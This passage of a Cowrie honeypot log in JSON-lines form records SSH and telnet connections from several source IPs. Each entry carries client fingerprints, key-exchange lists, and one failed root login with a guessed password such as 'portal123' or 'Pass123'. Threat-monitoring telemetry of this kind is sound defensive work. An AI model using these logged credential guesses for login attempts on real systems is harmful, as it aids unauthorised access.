-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:13:56.364211Z","src_ip":"43.153.39.191","session":"7b78cf153ae7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"portal123","message":"login attempt [root/portal123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:13:56.667658Z","src_ip":"43.153.39.191","session":"7b78cf153ae7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:13:57.742885Z","src_ip":"43.153.39.191","session":"7b78cf153ae7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.89.56","src_port":36170,"dst_ip":"159.203.135.109","dst_port":22,"session":"7119a8038850","protocol":"ssh","message":"New connection: 43.173.89.56:36170 (159.203.135.109:22) [session: 7119a8038850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:02.269723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:02.275438Z","src_ip":"43.173.89.56","session":"7119a8038850","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:02.344124Z","src_ip":"43.173.89.56","session":"7119a8038850","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pradeep","message":"login attempt [root/pradeep] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:02.646152Z","src_ip":"43.173.89.56","session":"7119a8038850","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:03.718003Z","src_ip":"43.173.89.56","session":"7119a8038850","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":36910,"dst_ip":"10.17.0.5","dst_port":22,"session":"c727e629a220","protocol":"ssh","message":"New connection: 89.108.118.91:36910 (10.17.0.5:22) [session: c727e629a220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:16.229027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:16.232953Z","src_ip":"89.108.118.91","session":"c727e629a220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:16.379592Z","src_ip":"89.108.118.91","session":"c727e629a220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweras","message":"login attempt [root/qweras] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:16.821000Z","src_ip":"89.108.118.91","session":"c727e629a220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:17.974441Z","src_ip":"89.108.118.91","session":"c727e629a220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.16.4","src_port":49636,"dst_ip":"159.203.135.109","dst_port":22,"session":"22bee6bed39f","protocol":"ssh","message":"New connection: 43.130.16.4:49636 (159.203.135.109:22) [session: 22bee6bed39f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:27.724475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:27.729679Z","src_ip":"43.130.16.4","session":"22bee6bed39f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:27.799680Z","src_ip":"43.130.16.4","session":"22bee6bed39f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135151","message":"login attempt [root/135151] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:28.108576Z","src_ip":"43.130.16.4","session":"22bee6bed39f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:29.180887Z","src_ip":"43.130.16.4","session":"22bee6bed39f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.150.26","src_port":54818,"dst_ip":"159.203.135.109","dst_port":22,"session":"996c46842dfc","protocol":"ssh","message":"New connection: 152.32.150.26:54818 (159.203.135.109:22) [session: 996c46842dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:31.620391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:31.625486Z","src_ip":"152.32.150.26","session":"996c46842dfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:32.497894Z","src_ip":"152.32.150.26","session":"996c46842dfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marino","message":"login attempt [root/marino] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:32.532146Z","src_ip":"152.32.150.26","session":"996c46842dfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:33.545312Z","src_ip":"152.32.150.26","session":"996c46842dfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":62024,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1c18df529a3","protocol":"ssh","message":"New connection: 103.219.170.37:62024 (159.203.135.109:22) [session: f1c18df529a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:39.633397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:39.636858Z","src_ip":"103.219.170.37","session":"f1c18df529a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:39.710859Z","src_ip":"103.219.170.37","session":"f1c18df529a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass123","message":"login attempt [root/Pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:39.936779Z","src_ip":"103.219.170.37","session":"f1c18df529a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:41.013604Z","src_ip":"103.219.170.37","session":"f1c18df529a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34934,"dst_ip":"10.17.0.5","dst_port":23,"session":"e47203b1dbf7","protocol":"telnet","message":"New connection: 192.119.13.58:34934 (10.17.0.5:23) [session: e47203b1dbf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:44.579422Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58938,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae61181a7708","protocol":"telnet","message":"New connection: 192.119.13.58:58938 (10.17.0.5:23) [session: ae61181a7708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:14:58.446990Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.39.191","src_port":38788,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fcd23eb3384","protocol":"ssh","message":"New connection: 43.153.39.191:38788 (159.203.135.109:22) [session: 7fcd23eb3384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:15:12.859768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:15:12.865532Z","src_ip":"43.153.39.191","session":"7fcd23eb3384","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:15:12.938074Z","src_ip":"43.153.39.191","session":"7fcd23eb3384","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234Aa","message":"login attempt [root/Aa1234Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:15:13.243224Z","src_ip":"43.153.39.191","session":"7fcd23eb3384","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:15:14.314854Z","src_ip":"43.153.39.191","session":"7fcd23eb3384","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38364,"dst_ip":"10.17.0.5","dst_port":23,"session":"a20a9beabf59","protocol":"telnet","message":"New connection: 192.119.13.58:38364 (10.17.0.5:23) [session: a20a9beabf59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:15:15.078942Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.89.56","src_port":55338,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1a035ea2427","protocol":"ssh","message":"New connection: 43.173.89.56:55338 (159.203.135.109:22) [session: b1a035ea2427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:15:15.448447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:15:15.453836Z","src_ip":"43.173.89.56","session":"b1a035ea2427","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:15:15.521984Z","src_ip":"43.173.89.56","session":"b1a035ea2427","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"portal123","message":"login attempt [root/portal123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:15:15.827038Z","src_ip":"43.173.89.56","session":"b1a035ea2427","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:15:16.898902Z","src_ip":"43.173.89.56","session":"b1a035ea2427","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33788,"dst_ip":"10.17.0.5","dst_port":23,"session":"a588fcb12c46","protocol":"telnet","message":"New connection: 192.119.13.58:33788 (10.17.0.5:23) [session: a588fcb12c46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:15:21.437669Z"}
{"eventid":"cowrie.session.closed","duration":42.60049819946289,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:15:27.179814Z","src_ip":"192.119.13.58","session":"e47203b1dbf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.16.4","src_port":54198,"dst_ip":"159.203.135.109","dst_port":22,"session":"483b5568d9be","protocol":"ssh","message":"New connection: 43.130.16.4:54198 (159.203.135.109:22) [session: 483b5568d9be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:15:40.538589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:15:40.543140Z","src_ip":"43.130.16.4","session":"483b5568d9be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha